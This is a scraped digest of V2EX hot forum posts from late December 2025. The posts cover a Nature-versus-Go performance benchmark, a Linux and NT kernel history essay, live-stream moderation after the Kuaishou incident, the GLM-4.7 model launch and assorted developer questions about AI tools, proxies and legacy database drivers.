v2ex_hot_2025-12-26

V2EX 热门帖子

1. gemini 一个对话窗口用久了 胡说八道？

我在一个新的对话窗口 投喂了一些相关资料，主要是关于股票类方面的。 一开始用着挺好不过用了两三天，开始出现幻觉 驴唇不对马嘴 对牛弹琴似的。 大家有这种情况么？ 目前是 pro 版本

作者: crownz | 发布时间: 2025-12-24 23:30

2. gmail 支持修改邮箱用户名，大概什么时候会全面开放？

https://support.google.com/accounts/answer/19870

想要新用户名，但又不想注册新账号，因为新账号可能风控更高。
如果全面开放的话就可以解决这个问题了，目前还没有全面开放，不知道还要等多久。

作者: zictos | 发布时间: 2025-12-25 16:08

3. Nature vs Golang: 性能基准测试

nature 是一款较新的编程语言，其轻量简单，易于学习。在设计理念和运行时架构上参考了 golang ，同时有着更丰富的语法特性，更适用于业务开发，并在持续探索更广泛的应用领域。

性能是衡量编程语言核心竞争力的关键指标，接下来我们将从 IO 并发、CPU 计算、C 语言 FFI 、协程性能四个维度，并以 golang 作为基准对 nature 编程语言进行性能测试。

测试环境

配置项 详情
宿主机 Apple Mac mini M4 ，16GB 内存
测试环境 Linux 虚拟机（ Ubuntu 6.17.8 ，aarch64 架构）
编译器 / 运行时版本 Nature：v0.7.0 （ release build 2025-12-15 ）
Golang：go1.23.4 linux/arm64
Rust：cargo 1.85.0
Node.js：v20.16.0

所有测试均采用相同的代码逻辑实现，文中代码示例均以 nature 编程语言为例。

IO 并发

IO 并发是网络服务的核心能力，本测试通过 HTTP 服务端压力测试，综合考察语言的 IO 调度、CPU 利用率与 GC 稳定性。

nature 代码示例

import http  
  
fn main() {  
    var app = http.server()  
  
    app.get('/', fn( http.request_t req, ptr<http.response_t> res):void! {  
        res.send('hello nature')  
    })  
  
    app.listen(8888)  
}

ab 工具测试命令

ab -n 100000 -c 1000 http://127.0.0.1:8888/
  • -n 100000: 总请求数 10 万次
  • -c 1000: 并发数 1000

测试结果

可以看到 nature 在 HTTP 并发性能上超越了 golang ，这对于早期版本的编程语言来说可以说是不错的成绩。

由于 nature 和 node.js 均使用 libuv 作为 IO 后端，所以 node.js 也参与到基准测试中(libuv 线程不安全，node.js 和 nature 的事件循环均在单线程中运行)，但 nature 作为编译型语言其并发处理能力远胜过 node.js 。

CPU 计算

使用经典的递归斐波那契数列计算 fib(45) 来测试语言的 CPU 计算与高频函数调用开销。

nature 代码示例

fn fib(int n):int {
    if (n <= 1) {
        return n
    }
    
    return fib(n - 1) + fib(n - 2)
}

测试方法

time ./main
1134903170./main  2.50s user 0.01s system 101% cpu 2.473 total

测试结果:

nature 和 golang 均采用自研的编译器后端，性能上也相差无几。而耗时高于 rust 的主要原因之一是两者在函数运行前进行了额外处理。

golang 采用了抢占式调度，不需要关注 GC safepoint ，但仍需要关注协程栈是否需要扩容，也就是下面的汇编指令

# more stack
f9400b90 	ldr	x16, [x28, #16]
eb3063ff 	cmp	sp, x16
540002a9 	b.ls	7869c <main.Fib+0x5c>  // b.plas

nature 采用了协作式调度，所以需要处理 GC safepoint 。但 nature 采用共享栈协程，所以不需要关心栈扩容问题。

# safepoint
adrp    x16, 0xa9d000
add     x16, x16, #0xeb0

ldr     x16, [x16]
cmp     x16, #0x0
b.ne    0x614198 <main.fib.preempt>

nature 的 safepoint 实现仍有优化空间，若后续采用 SIGSEGV 的触发模式，函数调用性能将会得到进一步提升。

nature 和 golang 采用了截然不同的调度策略和协程设计方案，这会带来哪些不同呢？不妨看看后续的测试 👇

C 语言 FFI

通过调用 1 亿次 C 标准库中的 sqrt 函数，测试与 C 语言的协作效率。

nature 代码示例

import libc  
  
fn main() {  
    for int i = 0; i < 100000000; i+=1 {  
        var r = libc.sqrt(4)  
    }  
}

测试结果

可以看到在 C FFI 方面，nature 相较于 golang 有着非常大的优势，这是因为 golang 的 CGO 模块有着非常高的性能成本，独立栈协程和抢占式调度设计与 C 语言难以兼容，需要经过复杂的处理。

而 nature 的共享栈和协作式调度设计与 C 语言更兼容，不仅仅是 C 语言，只要符合 ABI 规范的二进制库，nature 都能直接进行调用。

在高性能计算、底层硬件操作等场景中，nature 可无缝集成 C / 汇编编写的核心模块，弥补 GC 语言在极致性能场景下的不足，兼顾开发效率与底层性能。

协程

协程是现代并发编程的核心组件，本测试通过 “百万协程创建 + 切换 + 简单计算” 场景，评估 Nature 与 Golang 的协程调度效率、内存占用与响应速度。

nature 代码示例

import time  
import co  
  
var count = 0  
  
fn sum_co() {  
    count += 1  
    co.sleep(10000)  // ms, Remove this line if no sleep
}  
  
fn main() {  
    var start = time.now().ms_timestamp()  
    for int i = 0; i < 1000000; i+=1 {  
        go sum_co()  
    }  
  
    println(time.now().ms_timestamp() - start)  // create time
    
    int prev_count = 0  
    for prev_count != count {  
        println(time.now().ms_timestamp() - start, count)  
        prev_count = count  
        co.sleep(10)  
    }  
    println(time.now().ms_timestamp() - 10 - start) // calc time
    co.sleep(3000) // ms
}

测试结果

语言 创建耗时(ms) 计算耗时(ms) 无 sleep 计算耗时(ms) 占用内存
Nature 540 564 170 900+M
Golang 1000 1015 140 2500+M

nature 的协程在综合性能上非常优秀，内存占用更是远低于 golang 。而这是建立在 nature 的协程调度器未进行优化的前提下，预计在后续的版本中 nature 的协程调度器会进一步优化，届时将会有更加亮眼的表现。

总结

这是一次非专业的性能测试，但在粗略的测试中，nature 编程语言展现出了超越预期的能力与潜力。作为早期的编程语言，其运行时和编译器还有着非常大的优化空间，在正式版本发布时性能将进一步提升。

以现在的性能表现来看，nature 无疑是值得关注和尝试的编程语言，尤其是在云原生、网络服务、API 开发等服务端开发领域。

这是 nature 编程语言的官网 https://nature-lang.cn/ 如果你感兴趣的话也可以加入讨论组，v ➡️ nature-lang

作者: weiwenhao | 发布时间: 2025-12-22 02:01

4. Win11 25H2 Jet OLEDB 4.0 无密码 MDB 报密码错误，微软改了验证逻辑？

最近维护一批依赖 Microsoft.Jet.OLEDB.4.0 + 无密码 MDB 的 90 年代/2000 年初老软件，在 Win11 25H2 遇到诡异问题，请教各位：

核心现象

  • 未打某次 Windows 更新前，老软件（如 MDBPlus.exe ）能正常连接无密码 MDB ；
  • 更新后，所有依赖 Jet OLEDB 4.0 的老软件均报 Not a valid password，但 32 位 PowerShell 手动加 Jet OLEDB:Database Password=; 声明空密码，能正常访问 MDB ；
  • 回滚更新后恢复，重新更新问题复现。

已尝试的修复（对老软件无效）

  1. 重新注册 SysWOW64 下 Jet 相关 DLL （ msjet40.dll/msjetoledb40.dll 等）；
  2. 补全 Wow6432Node 下 Jet 的 CLSID/ProgID 注册表项，权限配置正常；
  3. 修改 Jet 4.0 引擎注册表，禁用加密验证（ Encryption=0 ）；
  4. 老软件以 Win7 兼容模式+管理员权限运行。

关键疑问

  1. 微软在 Win11 25H2 更新中，是否故意调整了 Jet OLEDB 4.0 的密码验证逻辑 （比如强制显式声明空密码）？
  2. 这种调整是推动迁移 ACE 驱动，还是兼容性疏漏？有无官方说明？
  3. 对无法改连接字符串的老软件，除回滚更新外，还有底层修复方案吗？

Jet OLEDB 4.0 已是 20 多年老组件，实在费解微软为何改动验证逻辑，求大佬解惑！

作者: 1564307973 | 发布时间: 2025-12-25 17:14

5. “快手直播事件”引发的技术思考

先来看下，近几年大厂发生的几个影响较大的运营事故：

这几起事件的共同点：影响范围广、故障时间长、造成非常负面的舆论影响；

这次快手的事情，还是远远超出了我的想象，服务故障只会影响正常使用，但是被攻击进而导致了大面积非法活动 ；对于监管来说，没有比这更严重的事情，属于妥妥的红线 。

为什么会发生

黑客、灰产，从互联网诞生之初，就一直存在，今天我们不去讨论黑客如何操作大规模账号、如何进行的实名认证，我们从开发这个角度去考虑，怎样去避免事件的发生？

直播和视频播放不一样，它的内容属于实时产生，平台没有办法提前审核；因此直播平台建设怎样的审核机制，就关系平台能否控制用户的直播内容。

大部分直播审核机制我们可以简化为上图：截取画面、音频等，通过模型自动化判定，然后再人工复审，最后处罚封禁。

瓶颈节点

在开发中，我们经常会提一个瓶颈节点的概念，意味着它决定着整个链路的承载量，如果它停止工作，则整个链路瘫痪。

而在上面的审核链路中，可以认为人工复审是一个瓶颈节点，因为人力是有限的；也许平时只需要 1000 个审核员既可以应对，但是当极端情况出现，同时涌现出上万个甚至更多非法直播时，这套机制自然就被攻破了。

我们可以猜测，黑客操作大量账号，同时开启非法直播，当部分账号被封禁后，又不停的新增非法账号直播，人工复审节点一直处于过载状态，没办法处理全部的审核。

可能的解决方式

假设我们按照上图的审核机制，怎样优化可以解决同时出现大量非法直播的问题呢？

自动判定节点

根据模型分析结果，辅助额外账号信息，自动判定是否需要“二次人工复审”，对于不需要的案例，直接处罚。当然自动判定存在误判的风险，而快手这次事件，可以看到大部分直播是常规的淫秽视频，通过模型辅助账号信息是可以精确判定的。

为了让自动判定足够精确，我们需要做些什么？

  • 模型不断训练更加精准
  • 收集更多维度信息，账号活跃度、登录 ip 、设备等等风控数据

目的

减轻“人工复审”节点的压力，使它不再是瓶颈节点，是我们的最终目的，毕竟其他节点都可以通过扩容的方式解决。也许自动判定可能会存在误判的情形，但是我们可以不断优化，不断减少误判的概率。

思考

小概率事件

对快手而言，“同时出现大规模非法直播”是一个小概率事件，在它们设计审核机制时，可能也有考虑到过？但是可能认为“几万人同时直播黄片”是几乎不可能出现的事情 ，因此并没有做预案。

在互联网领域，尤其是后端模块，海量用户+长时间运行，任何小概率 bug 都演变成必然触发 ；如果没有完美解决方案，则往往可以采取有损的妥协折中方案。

欢迎快手同学现身说法！

最后宣传下自己的技术公众号：欢迎关注，讨论交流

作者: youngxxx | 发布时间: 2025-12-25 07:07

6. 苹果企业开发者境外收款问题咨询

自己注册了个人公司开发 app ，苹果开发者收款最终通过苹果的境外公司汇入，因为未了节省成本，办理的是小银行平安银行，银行说境外汇款需要审核资料，搞了好几周都没搞定。有没有大佬搞过，其他银行需要审核吗。

作者: devcai | 发布时间: 2025-12-25 09:08

7. firefox 上使用网页版 gemini 经常性导致整个 windows 桌面都严重变顿

这种顿不是卡，就像你在电脑上占用全部 cpu 线程编译一个源码或跑一个程序一样，按个右键菜单都延迟半天才弹出来这种。各位是这样吗？

作者: jiaoyidongxi | 发布时间: 2025-12-25 12:55

8. 小米 mino v2 flash 套壳谷歌模型

https://i.imgur.com/F4y0Bsk.png

所以应该是套壳吧，提示词都没写好

作者: coconutwater | 发布时间: 2025-12-25 01:24

9. 有没有使用对象存储(cos,s3 API)作为主要存储的,基本上的持久化数据都存储在对象存储上?

例如使用 risingwave,automq,greptime 这样的存储系统,将系统中的大部分数据都存储在对象存储上 优势: 充分利用对象存储弹性,计量收费,应用无状态做起来相对简单 劣势: 延迟可能会很高

作者: tanxnative | 发布时间: 2025-12-25 04:21

10. 大模型厂商给模型试用有多好,大模型降智的时候就有多火大.

我是白嫖怪,我没钱,试用的时候很爽,降智的时候就觉得太过弱智.让你没法忍受.厂商手段高明,拿捏人性弱点.

作者: vhjihuang66 | 发布时间: 2025-12-25 02:49

11. Background-Cover 扩展支持视频壁纸背景喽

前言

身为一个后端开发者，从 18 年开始维护这个插件，最近终于借着 AI 的帮助，帮我将 Background-Cover 完善了一直想要的功能，欢迎大家体验。。

🌟 功能特性

  • 图片/视频背景 ：支持本地图片、网络图片、本地视频、在线视频。
  • 热更新 ：切换背景即刻生效，无需重启 VS Code 。
  • 自动轮播 ：多张图片/视频可定时自动切换。
  • 粒子动画 ：集成鼠标跟随粒子特效，酷炫体验。
  • 可视化配置 ：左侧面板一键设置，支持中英双语。
  • 透明度/模糊/填充模式 ：自定义背景透明度、模糊度、填充方式。
  • 高级解析 ：支持 JSON API 、静态 HTML 、图库帖子等多种图片源。
  • 在线图库 ：内置社区壁纸浏览、上传与一键应用。
  • 跨平台支持 ：兼容 Windows 、MacOS 、Linux 及 Code-Server 。
  • 自动权限处理 ：Windows 下自动获取写入权限，无需手动操作。

扩展市场下载地址： https://marketplace.visualstudio.com/items?itemName=manasxx.background-cover

作者: manasxx | 发布时间: 2025-12-25 07:30

12. 这样的网上存储服务有吗?(小文件存储获取)

国内使用场景;
小文件,若干个(10 来 20 个),全部不会超过 30M;
月下载量不会超过 1GB;
可以 https://:1234/xxx.dwg,xxx.pdf,获取到这些文件(必须绝对路径);
可以用 curl -X -f https://,POST 的参数增删文件(或者其它 API 接口方式也行);

如果搞个 VPS 自己手搓,也不是不行,要费时间费神维护,国内 VPS IP 要搞域名….(估计事情挺多的);
倒不如瞧瞧有没有付费(小成本)运营的服务算了…

作者: qazwsxkevin | 发布时间: 2025-12-24 09:42

13. google 账号地区显示日本 可以调用 aistudio 的 flash 接口 也可以用网页版 但是没法升级 pro

提示 此账号无法订阅 Google AI 方案 Google AI 方案在部分国家/地区无法使用，也不适用于未达到特定年龄的用户 怎么解 十几年的老帐号了 不太想换

作者: xwjlucky | 发布时间: 2025-12-25 01:55

14. 我实际体验了下 glm4.7，比 Claude Sonnet 4.5 要差 10%的样子

1.前端水平还行，一次 ok 率，没有 Claude Sonnet 4.5 发挥稳定。
2.有时候报错了，得自己修改多次，没有 gpt5 排错精准，但做出来的预期效果差不多有 95%符合。
3.后端水平还没测，但估计大差不差
4.唯一优势是便宜，但不确定后期会不会降智。

作者: 2828kakafa | 发布时间: 2025-12-25 06:41

15. antigravity 报错, 是否应该开启新会话

用这个都碰到过, 肯定不是网络问题

我的疑惑是, 这时候是不是要开启新会话呢, 会不会是因为会话长度到了限度

Agent terminated due to error
You can prompt the model to try again or start a new conversation if the error persists.
See our troubleshooting guide for more help.

作者: iorilu | 发布时间: 2025-12-25 07:16

16. Linux 漫谈（二）

文章第一部分在 https://v2ex.com/t/1180785

0x20 性能是永恒的追求

尽管所有人都知道“过早优化是万恶之源”，但是对于性能的追求、尽可能发挥硬件的潜能，到今天仍然是软件行业最核心的竞争指标。

什么叫“过早”优化？从纯技术的观点出发，针对瓶颈点的改善措施才有意义，不是关键障碍的部分做改良就算是“过早”了。相对来说，技术上的误区还是比较容易规避的。我举个比较正面的例子，Donald Knuth 写的《计算机程序设计艺术》也就是常说的 TAOCP，书中涉及的算法都有数学上的复杂度上下限，这样的信息就非常适合指导优化方案。实践当中，用技术手段获得数据支撑，确认瓶颈点往往是比优化本身更重要的工作。

对于开发者来说，更可怕的“过早”优化是思维逻辑上的。比如很多人会希望自己的程序代码能像云服务一样动态扩展，支撑得起 01/1100 这样的业务增长，于是在开发初期就用上了复杂的细分技术。再比如出于“我可以不用，但你不能不给”的想法，为极少用到的功能提供支持。这样的想法本身没有错，只是多数情况下没有与之匹配的开发资源做支撑，设计层面的优化就变成工程层面的累赘。

事实上没有人经得起性能优化的诱惑，毕竟在软件开发领域，性能往往就是商业的命门。

0x21 Red Hat 转型

要论谁最懂性能的价值，我觉得 Red Hat 说第一没什么悬念。

2003 年之前的 Red Hat ，主营业务一方面是卖 Linux 发行版光盘和出版各种技术书籍，另一方面是靠 1999 年收购 Cygnus Solutions 的团队，为企业提供 gcc/gdb 开发维护服务。此时红帽的年营收还不到一亿美元，而且并不稳定。

Cygnus 这个名字是不是有些眼熟？没错，它就是 Cygwin 的开发者。Cygnus 的主要业务是将 gcc/gdb 这样的工具移植到各种 CPU 架构上。在 2000 年前后随着 Windows 的普及，Cygnus 选择将 Unix 底层的 API 转换为 Windows API ，这样不需要修改 gcc 源码即可运行在 Windows 上，于是就有了 Cygwin 。

这次收购对于 Red Hat 来说最大的价值是获得了一个核心开发团队，专门负责用户空间工具链的开发，加上 Red Hat 的原班人马组建的内核团队，将 2003 年的 Linux 2.6 内核打造成了可用于廉价 x86 硬件的服务器操作系统。

这个 Linux 2.6 的影响力有多夸张呢？它使得云业务成为可能，Red Hat 的营收在五年内翻了五倍，同时因为蚕食了竞争对手的市场空间，直接导致了 Sun(Solaris) 被 Oracle 收购。

我认为甚至不需要列数字，只需要看文字说明就能想象到 2.6 内核带来的性能提升：

  • 实现了 O(1) 的进程调度。这样 Linux 具备了运行大型应用（大量进程）的可能。

  • 实现了细粒度的内核锁。原本内核只有一个锁，现在细分为了上千个独立的功能锁，使得内核可以支持 SMP 多核心处理器。

  • 支持了抢占式（ preemptive ）。这使得系统响应时间可控，内核最大延迟降低到毫秒级。

  • 支持了 NPTL(Native POSIX Thread Library) 原生线程模型。原本 Linux 是没有线程概念的，NPTL 配合 futex 可以为 Java/MySQL 这种重度依赖线程的应用提供高性能的线程创建销毁支持。

  • 网络栈实现了 epoll 模型。这一改动使得 Linux 可以支持单机 C10K 连接，后续 Nginx 就是得益于此。

内核调度器的负责人是 Ingo Molnar ，网络栈部分是 David Miller 。这些内核特性想要发挥出来，离不开 Cygnus 团队的贡献。关键人物 Ulrich Drepper 是 glibc 的维护者，基于新内核特性重写了 glibc 的线程库。基本上 Linux 2.6 之后，内核就重度依赖 gcc 编译器了。

毫不夸张地说，Red Hat 就是赢在了性能上。它们对于性能的优化，使得 Linux 可以在廉价的 x86 设备上，以不到十分之一的成本实现了传统 Unix 服务器的效能，直接影响了整个云计算的时代。

我不好评说到底是 Red Hat 的超前眼光，还是机缘巧合运气爆棚，从这段历史可以看出来两件事：一是开源世界的主要贡献都来自于商业公司，包括 Linus Torvalds 本人当时也是从众多企业公共资助的 OSDL 组织拿工资；二是技术想要落地、生态迁移是个漫长的过程，如果不是 Cygnus/glibc 团队也在红帽，谁也说不清用上新内核特性要花多久。

0x22 疯狂的 NT

如果看一下 2003 年以后服务器市场份额，就会发现一个很有意思的事情，Linux 抢夺的是 Unix 服务器的市场，而 Windows 服务器却没有受太大影响。除开商业推广的因素，很大的原因还是 Windows 服务器在当时是真的快。

实际上在 2000 前后，IIS 5.0 甚至打不过 Linux+Apache 的组合，尽管当时 Linux 还没有 2.6 的内核优化，也没有 epoll 模型。所以在 Windows Server 2003 中，NT 内核加入了 HTTP 驱动模块，静态内容不经用户空间的 IIS 就在内核直接处理了。这直接使得 Windows 保住了服务器市场的份额。

我之前将 NT 比作激进派，就是因为它会将商业需求作为首要目标，即使付出一定的代价。

在 1993 年 NT 设计之初，3.1 版本基本上是纯粹的微内核设计，此时的图形子系统是运行在用户态的 CSRSS(Client/Server Runtime Subsystem)，结果就是简单的绘图操作都很慢，当时的 CPU 难以支持。

于是之后的 NT 4.0 版本直接将 GDI 和显卡驱动一起移动到了内核中，减少了上下文切换和内存拷贝之后，图形性能获得了质的飞跃。直到今天 Windows 11 中 WinForms(Win32 API) 依然是最快的 UI 框架。在很长一段时间里，Windows 的图形系统性能相对 Linux/macOS 一直有着碾压性的优势。

但通过这样极端的方式获得性能优势的同时，也带来了严重的稳定性问题，因为显示驱动造成的蓝屏死机占了总数的 20% 以上。所以从 Vista 版本之后，NT 内核又尝试改变驱动模型（ WDDM ）从而将容易崩溃的代码移出内核。

再回到设计理念的问题上，无论 Dave Cutler 再怎么推崇微内核，在性能这个第一优先指标面前，他还是要选择最务实甚至最激进的做法。所以我一直讲，评价设计的好坏要结合具体的需求背景以及设计诉求来看。既满足了性能指标，又获得了商业成功，尽管付出了未来十几年的兼容性包袱代价，我仍旧认为这都是好的设计。

实际上前面只是为了性能这个话题特地找的两个例子，NT 内核虽然激进但它也有很多经得起时间考验的优秀设计。

比如 NT 内核中有个名为 IOCP(Input/Output Completion Port) 的机制，在 NT 内核设计之初就存在了。不同于 epoll 模型的内核唤醒进程然后进程读取数据，它直接由内核将数据写入进程缓冲然后再唤醒。这个设计使得 SQL Server 一度是最快的数据库软件。

0x23 关于 XNU 的强行找补

因为这一章的主题是性能，而 XNU 是最不关注性能的那个，或者换个说法，由于 XNU 是 Mach+BSD 的设计，本身 Mach 部分涉及性能优化的也很有限。

某种程度上说，XNU 的性能优化都转向了软硬件结合了，特别是到 x86 和 Apple Silicon 的两次转型。举个最直观的例子，异构（大小核）调度是个很困难的问题，苹果在芯片中就加入了一个硬件控制器，这样软件传递 QoS 优先级标签就可以了。

这个做法就让人很难评价……因为它本质上是个手动指派优先级，和软件算法逻辑毫无关系。但它的效果确实不错，至于不错的原因更多是苹果基本不维护旧代码，把兼容任务扔给开发者，开发者要自己声明某个任务是前台还是后台。

在 M1 的时候，普通版本是四个能效核，Pro 版本去掉了两个能效核换成了性能核。按照苹果的设计，所有后台任务都要运行在能效核上，这就导致 Pro 版本在商店应用安装或者后台索引任务上性能甚至远远落后于普通版本。你猜苹果是如何解决这个问题的？没错，过两年就不用解决了。

记得我在前言中提到的“为什么开发者应该学习 Linux”吗？很重要的一点是 Linux 的代码库是开源的。从我上面对内核性能特性的简单举例就能看出，现在的 Linux 在大部分功能上都是 State of the Art （最优）版的实现，或者说最佳实践，覆盖了绝大多数开发需求的场景，本身就是极好的学习对象。

更重要的一点是，LKML （ Linux 内核邮件列表）中的讨论也是非常有价值的，能够从中了解到代码是如何写的，想要解决什么问题这样更重要的信息。尽管 XNU 某种意义上也是源码可见，但学习的价值就非常有限。我选择将文章发在这里，其实也是看中了这里的讨论氛围，交流可以让文章产生更大的价值。

0x24 内核的性能核心

在上一章中提到，操作系统最重要的功能是通过分时方式切换不同的应用程序运行。由于物理上内存是共享的，那么就需要隔离机制，将内核独立出来一方面可以方便管理虚拟内存，另一方面也可以利用硬件机制获得更好的安全性。

要理解内核对于性能的需求，就要理解 CPU 的工作原理。CPU 本身并没有任何多任务的概念，而且在某一个时刻，CPU 只有当前运行状态的少数信息，这其中就包括 PC 也就是之后要执行什么指令。如果我们能将 CPU 某个时刻的状态进行保存和还原，就能从逻辑上执行任意数量的应用程序。这个过程就叫做 Context Switch 上下文切换。

这里所谓 CPU 的状态，在内核中就是简单的数据结构，其中包括了寄存器、栈指针等信息。之后在需要切换进程的时候，通过中断介入然后执行这个状态保存和恢复过程，就可以完成进程的切换。但此时还有个问题要解决，不同进程在内存中的位置是不同的，CPU 需要知道物理地址才能加载对应内存中的代码。

现代内核的虚拟内存实现基本都是将物理内存按照页（ Pages ）划分，在应用程序自身看来，总是在一个私有的线性地址空间中，而在内核看来，只需要维护一个指向特定页的指针，就可以完成物理地址和虚拟地址之间的转换。在 CPU 中这个页面指针存储在 CR3 寄存器中。（这里描述的是一个极度简化的模型）

现在还剩最后一个问题，由于应用程序本身是按照私有的虚拟地址空间加载的，此时所有的诸如跳转等指令，目标也是虚拟地址。当 CPU 执行这个指令的时候，就需要做虚拟地址到物理地址的转换。这是一个极高频率的操作，所以 CPU 设计了 TLB(Translation Lookaside Buffer) 的缓冲区用来存储地址转换的结果。

到现在整个过程就比较清楚了，每次上下文切换都会伴随着 CPU 状态的重置，以及 TLB 的更新（ flush ）。理解了这一点，也就理解了内核性能的核心瓶颈之一：上下文切换。受到计算机硬件本身的限制，存储一定是个多级缓存的结构，上下文切换会使得 CPU 不得不等待数据和指令从更慢的缓存逐级加载，从而产生性能瓶颈。（为了改善上下文切换的效率，现代 CPU 在硬件层面有了很多对 TLB 的优化。但即便 TLB 本身性能有所改善，随之而来的缓存更新也不可避免。这里为了表述方便也对模型做了简化。）

之前提到 Linux/NT 各种性能优化时，总是讲到某某功能的内核实现。因为本质上内核也是独立的进程，进程和内核之间也会发生上下文切换（准确地说是模式切换，取决于虚拟内存的实现），那么将特定功能移入内核，就可以减少上下文切换带来的性能开销。

内核性能的另一个瓶颈来源是 IPC ，它不仅受制于上下文切换的效率，还常常伴随着大量数据交换。具体内容会在之后的章节中讨论。

整篇文章的写作风格还是偏漫谈，所以部分技术表达可能不是很准确，行文也比较简略，如果有兴趣的话可以尝试让 AI 对细节进行解释。

作者: kuanat | 发布时间: 2025-12-24 23:32

17. 用 socks5 代理无法返回正常网页内容

`import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 禁用警告

proxies = {
    'http': 'socks5://43.x.x.x:7002',
    'https': 'socks5://43.x.x.x:7002'
}

try:
    response = requests.get('https://www.icloud.com',
                           proxies=proxies,
                           verify=False,  # 禁用 SSL 验证
                           timeout=10)
    print("状态码:", response.status_code)
    print("响应内容:", response.text)
except Exception as e:
    print(f"请求失败: {e}")`

上面代码获取的结果是：

状态码: 200
响应内容: REMOTE_ADDR = 43.x.x.x
REMOTE_PORT = 62927
REQUEST_METHOD = GET
REQUEST_URI = /
REQUEST_TIME_FLOAT = 1766626171.5559506
REQUEST_TIME = 1766626171
HTTP_HOST = www.icloud.com
HTTP_USER-AGENT = python-requests/2.31.0
HTTP_ACCEPT-ENCODING = gzip, deflate
HTTP_ACCEPT = */*
HTTP_CONNECTION = keep-alive

有个疑问的点，为什么获取的不是网页内容，去掉代理获取的就是正常网页内容，这种代理是不是不能用？ 找了好多 socks5 的都是这种，很疑惑。

作者: biuyixia | 发布时间: 2025-12-25 01:37

18. 大家平时是怎么配置开发机的？

在拿到新电脑的时候，往往需要配置 zsh + vim 安装一些软件，等等。

例如 mac 或者公司 linux 开发机。换来换去的是怎么配置的？

我的解决方案是写了一个 go 脚本，来自动配置 zsh 和 vim + git 还有一些 mac 常用的软件。没有多华丽，但是够用 👀

https://github.com/yuluo-yx/use/blob/master/main.go

作者: karashoukpan | 发布时间: 2025-12-24 14:05

19. 谷歌搞了个 code wiki

介绍页：https://developers.googleblog.com/introducing-code-wiki-accelerating-your-code-understanding/

官网：https://codewiki.google/

作者: Msxx | 发布时间: 2025-12-25 03:36

20. 有人测试过 google ai pro 在 gemini-cli 每天可以多少次请求吗

想开 pro ，但是怕 gemini-cli 配额太少了

作者: zgqjava | 发布时间: 2025-12-25 06:42

21. GLM-4.7 上线并开源：更强的编码

GLM-4.7 上线并开源。 新版本面向 Coding 场景强化了编码能力、长程任务规划与工具协同，并在多项主流公开基准测试中取得开源模型中的领先表现。

目前，GLM-4.7 已通过 BigModel.cn 提供 API ，并在 z.ai 全栈开发模式中上线 Skills 模块，支持多模态任务的统一规划与协作。

Coding 能力再提升

GLM-4.7 在编程、推理与智能体三个维度实现突破：

  • 更强的编程能力 ：显著提升了模型在多语言编码和在终端智能体中的效果； GLM-4.7 现在可以在 Claude Code 、TRAE 、Kilo Code 、Cline 和 Roo Code 等编程框架中实现“先思考、再行动”的机制，在复杂任务上有更稳定的表现。
  • 前端审美提升 ：GLM-4.7 在前端生成质量方面明显进步，能够生成观感更佳的网页、PPT 、海报。
  • 更强的工具调用能力 ：GLM-4.7 提升了工具调用能力，在 BrowseComp 网页任务评测中获得 67.5 分；在 τ²-Bench 交互式工具调用评测中实现 87.4 分的开源 SOTA ，超过 Claude Sonnet 4.5 。
  • 推理能力提升 ：显著提升了数学和推理能力，在 HLE （“人类最后的考试”）基准测试中获得 42.8% 的成绩，较 GLM-4.6 提升 41%，超过 GPT-5.1 。
  • 通用能力增强 ：GLM-4.7 对话更简洁智能且富有人情味，写作与角色扮演更具文采与沉浸感。

Code Arena：全球百万用户参与盲测的专业编码评估系统，GLM-4.7 位列开源第一、国产第一，超过 GPT-5.2 。

在主流基准测试表现中，GLM-4.7 的代码能力对齐 Claude Sonnet 4.5： 在 SWE-bench-Verified 获得 73.8% 的开源 SOTA 分数； 在 LiveCodeBench V6 达到 84.9% 的开源 SOTA 分数，超过 Claude Sonnet 4.5 ； SWE-bench Multilingual 达到 66.7%（提升 12.9%）； Terminal Bench 2.0 达到 41%（提升 16.5%）。

真实编程场景下的体感提升

在 Claude Code 环境中，我们对 100 个真实编程任务进行了测试，覆盖前端、后端与指令遵循等核心能力。结果显示，GLM-4.7 相较 GLM-4.6 在稳定性与可交付性上均有明显提升。

GLM Coding Plan

  • Claude Code 全面支持思考模式，复杂任务连续推理与执行更稳定
  • 针对编程工具里的 Skills / Subagent / Claude.md 等关键能力定向优化，工具调用成功率高、链路可靠
  • Claude Code 中视觉理解能力开箱即用；内置搜索与网页读取，信息获取到代码落地一站闭环
  • 架构设计与指令遵循更强，明显降低长上下文下的“幻觉式完成 / 跑偏”，交付质量更可控

作为本次升级的首个体验权益，所有购买套餐的用户将获得「体验卡」礼包，可邀请 3–7 位新用户免费体验 7 天套餐权益。

领取链接：[https://zhipuaishengchan.datasink.sensorsdata.cn/t/kc]

作者: Zhipuai | 发布时间: 2025-12-23 07:17

22. 只有我一个人觉得 LangGraph 的理念和思维很奇怪么？

最近要做一个复杂的 Agent ，输入数据和提供 MCPTools ，让 AI 自主决策路径，循环调用工具，再根据工具结果继续决策，直到使用工具无法获得更多有价值的信息，在整合现有收集到的信息给出结论。 可以理解为一个破案过程。整过过程流程不固定、无法用 Dify 、n8n 这样的工作流预设好。

最初的原型 Demo 我是基于 OpenManus 开发的。MCPTools 使用 FastMCP 自写的 MCP Sever ，提供 SSE 供 OpenManus 调用。目前感觉 OpenManus 效果勉强令人满意，感觉还有提升空间，优化提示词、优化 MCPTools 之后获得了一点点提升。现在就寻思会不会是 OpenManus 不够优秀，或者说有更好的框架适合我们的场景。

于是开始了信的调研。

我从很多渠道调研，都说 LangGraph 是最好的选择，包括 AI 也这么说。

但是详细去了解、学习 LangGraph 。发现 LangGraph 的思维很奇怪，自己也是老 IT 人了，各种开发语言也写了几十个中小小项目了，第一次遇到一个东西研究了好几天，连理念都无法理解…..

作者: chman | 发布时间: 2025-12-24 08:26

23. Let’s Encrypt 支持 IP 证书后，在没有备案的情况下，使用 443 端口 + IP + HTTPS 访问是否可行？

作者: jja | 发布时间: 2025-12-24 10:15

24. AI 是不是基本杀死了 blog

特别是技术型博客，类似 CSDN ，基本上在 AI 面前一文不值。 其他的博客，也好不到哪里去。

作者: 8675bc86 | 发布时间: 2025-12-23 08:18

25. 你们的 ChatGPT 年度报告拿到的 archetype 是什么？

作者: sxhJoker | 发布时间: 2025-12-24 08:49

26. 按使用量付费的 ai coding.有推荐吗？

月包的太贵了。有没有那种预付费充话费的？用多少算多少那种。cursor 公司版用的挺爽的。回家想找个替代方案

作者: wnpllrzodiac | 发布时间: 2025-12-24 13:55

27. 想 hook 微信最简单的收发消息选择 macOS 还是 Windows?

